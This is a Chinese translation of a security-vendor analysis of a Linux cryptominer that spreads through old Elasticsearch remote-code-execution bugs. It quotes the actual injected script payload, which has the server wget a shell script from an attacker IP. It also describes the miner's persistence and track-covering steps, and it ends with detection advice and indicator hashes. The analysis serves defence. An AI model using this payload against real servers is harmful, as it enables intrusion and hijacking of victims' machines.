通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

2019-01-17 20:00:408794人阅读

近日,我们在“蜜罐”中检测到了一类涉及到ElasticSearch的加密货币挖矿活动。 ElasticSearch是一个基于Lucene的搜索服务器,它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布。此次我们探测到的攻击,利用的是ElasticSearch一些已知的漏洞——CVE-2015-1427和CVE-2014-3120——进行部署的。CVE-2015-1427是Groovy脚本引擎中的一个漏洞,它允许远程攻击者通过自行编写的脚本执行任意shell命令;CVE-2014-3120是Elasticsearch默认配置中的一个漏洞。这些旧版本已不再受Elasticsearch支持。

我们是在一个运行着Elasticsearch的服务器上发现了如下命令的搜索查询的:

“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P
/tmp/sssooo\”).getText()”}}}”

该命令由同一系统/攻击主机运行,该系统/主机上也包含了payload。在写入命令时,IP会被解析为不可访问的域名matrixhazel[.]com。系统还安装了CentOS 6,能同时运行web和SSH服务器。

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图1 GreyNoise将该主机标记为一个已知的扫描工具

需要注意的是,这类攻击并不新鲜,不过最近又有频繁现身的痕迹。趋势科技云安全智能防护网络就曾在去年11月份反馈过在中国大陆、中国台湾和美国等多个国家和地区的端点上检测到过该加密货币挖矿机的痕迹。

该矿机通过调用shell并在“/ tmp / sssooo”文件的输出设置中执行download命令来分发bash脚本update.sh。使用“/ tmp”是因为默认情况下它在大多数系统中限制较少。

这种攻击相对简单,但可以对受害者产生重大影响。一旦攻击者获得在系统上运行任意命令的能力,他就可以尝试升级特权,甚至转向其他系统,进而进一步危害网络。

还应注意的是,在大多数情况下攻击方法可能是相同的,但payload可能不同。 在我们分析的该类情况中,payload是文件update.sh,将其运行后,会下载两个名为devtools和config.json的文件,接着,脚本会开始部署加密货币挖矿机(由趋势科技检测为Coinminer.Linux.MALXMR.UWEIS)。

带有挖矿机的ELF64二进制文件的实际文件名为devtools,因为devtools也是GitHub上的较为常见的一种工具,改名有助于掩盖挖矿机的身份。矿机使用文件config.json中所述的配置。

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图2.配置文件config.json的详细信息

这样的方案已经被广泛使用,但是封装的bash脚本还有其他一些有趣的功能。 其编码风格与黑客工具非常相似,部分代码也在之前的Xbash相关案例中探讨过。

如何部署加密货币挖矿机

该矿机包含三个文件,通过bash中的wget,curl或url命令下载:

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图3. wget,curl和url命令

该矿机能够下载以下内容:

· Devtools – 真正的挖矿机;

· Update.sh – 用于下载所有部件的bash脚本(该脚本也在攻击期间运行);

· Config.json – 挖矿机的配置文件。

首先,它会将文件保存到"/ etc /”目录中,如果失败,则会试图保存到“/ tmp”目录中——后者在我们案例中已经证实可行了。之后,矿机会检查机器中是否正在进行的其他的挖掘活动,它会假设设备已经受到攻击,并从其先前的攻击者处劫持设备。此过程还可用于将正运行的矿机更新为最新版本。

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图4.该采矿机抹除其他现有采矿机的命令示例

如果该采矿机检测到系统中的其他矿机,则与采矿相关的运行进程将被终止, 它还会重置crontab,cron将不会再启动其他矿机。

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图5.如果系统中发现的其他矿机,其采矿的进程将被终止 

该矿机会把自己添加到crontab中,使自己每10分钟就能运行一次。在每次运行开始时,它使用“chattr -i”解锁自身并更新文件,而在每次运行结束时,又使用“chattr + i”保护文件,这有助于防止文件被其他其他低权限用户修改或删除。它还通过清空历史日志来清理其轨迹(如图8所示)。有趣的一点是,当脚本在根目录中运行时,脚本会试图将自己的SSH密钥添加到authorized_keys,这样它就可以在没有密码的情况下登录。然而不知何故,命令顺序看起来有问题,导致在添加密钥后authorized_keys会被立即删除。

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图6.该矿机的其他功能:组件保护,通过crontab保持持久性和网络流量加密

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图7.该矿机修改系统中的iptables/firewall

通过Elasticsearch旧漏洞进行传播的加密货币挖矿机

图8.该矿机通过删除历史记录和清空文件来清理痕迹

结论和建议

为了防止利用Elasticsearch中已知漏洞的攻击,定期安装系统补丁并使用自定义规则进行安全监控是十分必要的。

在Elasticsearch中注入的命令在野外被发现有所变化,但它们有以下共同的因素:

· 它们都调用shell来运行命令;

· 它们都包含从远程/本地位置下载文件的命令,如curl,wget,url,ftp / get等等;

· 它们都将文件下载到“/ etc”或“/ tmp”;

· 当主机试图在本地系统上运行的所有下载文件位置和命令的组合时(为了下载恶意文件),通常会按特定顺序遍历这些步骤。

对相关攻击的检测至关重要,应通过以下措施完成:

· 记录Elasticsearch的使用情况,并监视建议使用命令注入的字符串。

· 监控系统的行为。Shell只能由授权用户和解决方案使用。

· 通过相关性对网络流量进行分类。在我们的例子中,恶意IP每10分钟就会定期调用。通过适当的网络监控过程和流量分析,应该很容易发现这一点。

· 用户可以考虑采用安全解决方案,通过跨代混合的威胁防御技术来抵御加密货币挖掘恶意软件。

IoCs

相关哈希(SHA-256)

191f1126f42b1b94ec248a7bbb60b354f2066b45287cd1bdb23bd39da7002a8c – devtools – Coinminer.Linux.MALXMR.UWEIS

d3e1231d1429dccb47caf0c1c46d2eb24afe33887b31a818b8f07f0406db2637-update.sh – Coinminer.SH.MALXMR.ATNL

用于Elasticsearch的命令:

“{“lupin”:{“script”: “java.lang.Math.class.forName(\”java.lang.Runtime\”).getRuntime().exec(\”wget hxxp://69[.]30[.]203[.]170/gLmwDU86r9pM3rXf/update.sh -P /tmp/sssooo\”).getText()”}}}”

Elasticsearch版本号:1.4.1


本文翻译自:https://blog.trendmicro.com/trendlabs-security-intelligence/cryptocurrency-miner-spreads-via-old-vulnerabilities-on-elasticsearch/

翻译作者:Change 原文地址:  http://www.4hou.com/technology/15760.html

0
现金券
0
兑换券
立即领取
领取成功